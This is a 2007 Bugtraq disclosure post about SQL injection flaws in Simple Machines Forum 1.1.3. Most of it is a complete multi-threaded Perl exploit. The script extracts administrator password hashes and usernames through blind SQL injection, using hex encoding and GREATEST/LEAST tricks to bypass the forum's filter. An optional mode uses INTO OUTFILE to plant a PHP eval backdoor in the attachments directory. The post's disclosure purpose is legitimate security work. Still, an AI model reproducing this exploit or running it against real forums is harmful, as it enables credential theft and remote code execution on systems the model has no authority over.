Message-ID: <20071020003337.18125.qmail@securityfocus.com>
Date: 20 Oct 2007 00:33:37 -0000
From: th3.r00k.spammenot@...il.com
To: bugtraq@...urityfocus.com
Subject: Simple Machines Forum multiple sql injection flaws with  exploit
 code.

SMF is a very hardened php application.  If anyone wants an example of some interesting PHP security  SMF is a good place to look.   Even after being able to injection SQL I had to take another step and bypass some difficult filters found in the db_query() function.   Ultimately i was able to do so. 

This exploit is using blind sql injection.  although you might not believe it on how fast it is.  It can take less than 20 seconds to obtain a 40byte hash on a remote server!  

Be safe,
Michael Brooks


#!/usr/bin/perl

#Written By Michael Brooks
#contact: th3(dot)r00k(at)gmail(dot)com

#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!
#	-Binary Search
#	-Multi-Threaded
#	-NO benchmark()'s
#
#Two SQL Injection flaws.
#Works with magic_quotes_gpc=On or Off. 
#Total Bypass of SMF's SQL Injection filter.

#I submitted a patch for these flaws:
#http://www.simplemachines.org/community/index.php?topic=196380.0

#I would like to thank RetroGod for being so skilled and willing to help me out. 

#**Warning** perl will somtimes seg fault when useing threads.
#Tested Under Linux

use LWP::UserAgent;
use threads;
use Thread::Semaphore;

	#global variables
	my $threads=1;
	my $semaphore = new Thread::Semaphore; 
	my $globPos : shared=1;
	my $oper : shared;
	my @result : shared;
	my $target;
	my $cookie=false;
	
	$type="sleep";

	main();#execute main
	sub main{
		$n=$threads;
		$u=$p=$b=1;
		$start_time=time;
		$e=1;
		#Process arguments passed by the command line.
		for($v=0;$v<=$#ARGV;$v++){
			if(substr($ARGV[$v],0,1) eq '-'){
				$var=substr($ARGV[$v],1);
				$$var=$ARGV[$v+1];
			}
		}
		
		@t=split('\?',$t);
		@t=split('index.php',@t[0]);
		$target=@t[0];
		if(index($target,"/",length($target)-1)==-1){
			$target=$target.'/';
		}
		if($e!=1){
			print "\nExample:\n";
			print "\nbrooks@...Lab:~/code/exploits\$ ./smf_blind_sql.pl -p  -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3A3%3Bi%3A1%3B%7D 
\n\nSMF Is Vulnerable!
Finding Password Hash for the Name: 'admin'
Please Standby...

Password Hash:
1d94709528bb1c83d08f3088d4043f4742891f4f
This attack used 161 HTTP requests and took 8 seconds to complete.
EOF\n\n";
			die();
		}
		$cookie=$c;
		$user=$u;
		if($n != 1){
			$threads=$n;
		}
		#Check to make sure the target is vulnerable
		if($b!=1||$p!=1){
			$vulnerable=1;
			#Yes I am assuming the default table prefix,  its a shame you can't access information_schema.
			#No prefix is needed for the non-cookie attack becase I do not need a union select or sub-select!
			bin_finder(2,1,"1","smf_members","and 1!=1");
			if(int(@result[0])!=0){
				$vulnerable=0;
			}
			$globPos=1;
			bin_finder(2,1,"1","smf_members","and 1=1");
			if(int(@result[0])!=1){
				$vulnerable=0;
			}
			if($vulnerable==1){
				print "SMF Is Vulnerable!\n"
			}else{
				print "\nATTACK FAILED!\n\n";
				if($cookie){
					print "Try sending a private message to your self or SMF might be patched.\n"
				}else{
					print "The non-cookie attack requires MySQL 5 so try using the exploit with -c or SMF might be patched.\n"
				}
				die();
			}
		}

		$m=0;
		if($p!=1){
			if($user != 1){
				print "Finding Password Hash for the Name: '$user'\n Please Standby...\n";				
				for(my $x=0;$x<$threads;$x++){
					#@...eads[$x]=new threads \&bin_finder,16,40,"(conv(SUBSTRING(passwd,%s,1),16,10))=%s", "smf_members"," and memberName = '".$user."'";
					@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and memberName =". hex_encode($user);
				}
				for(my $x=0;$x<$threads;$x++){
					@threads[$x]->join;
				}
				print "\nPassword Hash:\n";
				foreach $y (@result){
					print sprintf("%x",$y);
				}
			}else{#
				print "Finding An Administrative Credental.\n Please Standby...\n";
				#bin_finder(128 ,1,"count(memberName)","smf_members"," and ID_GROUP=1 ");#single thread
				#$admin_count=@...ult[0];
				#$globPos=1;
				#print "There are $admin_count admins on this forum.\n";
				#for($a=0;$a<$admin_count;$a++){
					for(my $x=0;$x<$threads;$x++){
						@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and ID_MEMBER=1  ";
					}
					for(my $x=0;$x<$threads;$x++){
						@threads[$x]->join;
					}
					print "\nPassword Hash:\n";
					foreach $y (@result){
						print sprintf("%x",$y);
					}
					$globPos=1;
					bin_finder(256,1,"char_length(memberName)","smf_members"," and ID_MEMBER=1  ");#single thread
					$name_len=@...ult[0];
					$globPos=1;
					
					for($x=0;$x<$threads;$x++){
						@threads[$x]=new threads \&bin_finder,128,$name_len,"ASCII(SUBSTRING(memberName,%s,1))", "smf_members"," and ID_MEMBER=1  ";
					}
					for($x=0;$x<$threads;$x++){
						@threads[$x]->join;
					}
					print "\nName:\n";
					for($l=0;$l<=$name_len;$l++){
						print sprintf("%c",@result[$l]);
					}
					print "\n";
					@result=null;
					$globPos=1;
				#}
			}
		}elsif($b!=1){
			if(!$cookie){
				die("\nA cookie is needed for this attack!\n");
			}
			print "Determining the exact path to place the backdoor. \n Please standby...\n";
			bin_finder(512,1,"char_length(value)","smf_settings"," and variable = 'attachmentUploadDir'");#single thread
			$length=@...ult[0];
			$globPos=1;
			for(my $x=0;$x<$threads;$x++){
				@threads[$x]=new threads \&bin_finder,128,$length,"ASCII(SUBSTRING(value,%s,1))", "smf_settings"," and variable = 'attachmentUploadDir'";
			}
		
			for(my $x=0;$x<$threads;$x++){
				@threads[$x]->join;
			}
			$path='';
			print "Path Disclosed:";
			foreach $y (@result){
				$path.=sprintf("%c" ,$y);
			}
			print $path."\n";
			#$path=~s/_/?/g;#This accounts for the search request being modfied by SMF.
			#$path=~s/%/*/g;
			$r=rand();#Random file name so the attack will succeed multiple times against the same target. 
			my $ua = LWP::UserAgent->new;
			$ua->agent("Firebird");
			$ua->default_header("Cookie"=>$cookie);#Its tricky to get double quotes for the outfile statement.
			$load="\\,union select ".hex_encode("<?php eval(\$_GET[e]);?>").' into outfile  "","'.$path.'/'.$r.'.php",""#';		
			$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);
			$oper++;
			print "\nEval Backdoor:\n".$target."attachments/".$r.".php?e=phpinfo();\n"
		}else{
			$m=1;
			print "A Very Fast Blind Sql Injection Exploit for SMF 1.1.3.\n\n";
			print "-p		obtain passwords (if used without -u,  then an admin credential will be obtained)\n";
			print "-b		installs a backdoor using 'into outfile'. (requires -c)  **WARNING** SMF will log this as a single 'Hacking Attempt'!\n"; 
			print "-t 		target\n";
			print "-c		A valid cookie(Much faster attack)\n";
			print "\nAditional:\n";
			print "-u		obtains the password for a user name\n";
			print "-n		number of threads\n";
			print "-e		Shows an Example.\n"
			print "The password hash is generated as:\n";
			print "sha1(strtolower($username) . $password);\n\n";

		}
		if($m!=1){
			$t=time-$start_time;
			print "\nThis attack used $oper HTTP requests and took $t seconds to complete.";
			print "\nEOF\n";
		}
	}
	
	#Takes complex input to build the request,  returns a simple bool. 
	sub bin_ask{
		my $if = shift;
		my $table=shift;
		my $where = shift;
		my $ua = shift;
		my $f=0;
		if(!$cookie){
			#no union select or sub-select needed for this attack!
			$a=time();
			#die($where);
			#$where="and realName = ".hex_encode("admin");
			$load="\"\\\",\" or  (IF(".$if.",sleep(10),1) $where) limit 1,1 #\"";	
			$load=~s/_/?/g;#This accounts for the search request being modfied by SMF.
			$load=~s/%/*/g;
			$tst= $ua->post($target."?action=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"relevance%7Cdesc","brd%5B1%5D"=>1,"submit"=>"Search"]);
			$page= $tst->content;
			#print "<br>page:".$page;die;
			$t= time();
			#print "\n 1:time\n".$t."\n\n";
			if($t-$a>=10){
				$f=1;
			}
		}else{#%sunion select bypasses SMF's filter so i can use a sub-select in the following query.
			$load="\\,union select ".hex_encode("1)) or (1!=\"'\") and (select (IF((".$if."),true,false)) from ".$table." where 1 ".$where.") or (1!=\"'\") and pmr.ID_MEMBER = 1#'").' # ';#sql comments still work in SMF		
			$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);
			$page= $tst->content;
			#print $page; die ;		
			if(index($page,"No Messages Found")==-1){
				$f=1;
			}
		}
		return $f;
	}

	#worker thread
	sub bin_finder{
		my $base=shift;
		my $length=shift;
		my $question=shift;
		my $table=shift;
		my $where=shift;
		#One UserAgent object is used per thread.
		my $ua = LWP::UserAgent->new;
		$ua->agent("Firebird");
		$ua->default_header("Cookie"=>$cookie);
			
		#binary search:
		while($globPos<=$length){
			$semaphore->down;
				$c=$globPos;
				$globPos++;	
			$semaphore->up;
			my $n=$base-1;
			my $low=0;
			my $floor= $low;
			my $high=$n-1;
			my $pos= $low+(($high-low)/2);
			my $f=1;
			while($low<=$high&&$f){
				if(!$cookie){
					$great="GREATEST(".sprintf($question,$c).",".$pos.")!=".$pos;#bypass the filter for the < and > characters 
					 $less ="LEAST(".sprintf($question,$c).",".$pos.")!=".$pos;
				}else{
					$great=sprintf($question,$c).">".$pos;
					$less=sprintf($question,$c)."<".$pos;				
				}
				if(bin_ask($great, $table,$where,$ua)){#asking the sql database if the current value is greater than $pos
					$oper++;
					if($pos==$n-1){#if this is true then the value must be the modulus. 
						@result[$c-1]=$pos+1;
						#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";
						$f=0;
					}else{
						$low=$pos+1;
					}
				}elsif(bin_ask($less, $table,$where,$ua)){#asking the sql database if the current value is less than $pos
					$oper++;
					if($pos==$floor+1){#if this is true the value must be zero.
						@result[$c-1]=$pos-1;
						#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";
						$f=0;
					}else{
						$high=$pos-1;
					}
				}else{
					#both greater than and less then where asked, so thats two http requests. 
					$oper++;
					$oper++;
					@result[$c-1]=$pos;
					#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";,,
					$f=0;
				}
				 $pos=$low+(($high-$low)/2);
			}
		}
	}
#hex_encode was ported from one of RetroGod's php exploits.
#Thanks be to rGod for telling me about this encoding method on milw0rm's forum back when it was still up.  
#rGot you are leet!  
sub hex_encode{
  my $my_string=shift;
  my $encoded="0x";
  my $len=length($my_string);
  for ($k=0; $k<$len; $k++){
	$temp=sprintf("%X",ord(substr($my_string,$k,1)));
	if (length($temp)==1) {
		$temp="0".$temp;
	}
	$encoded.=$temp;
  }
  return $encoded;
}

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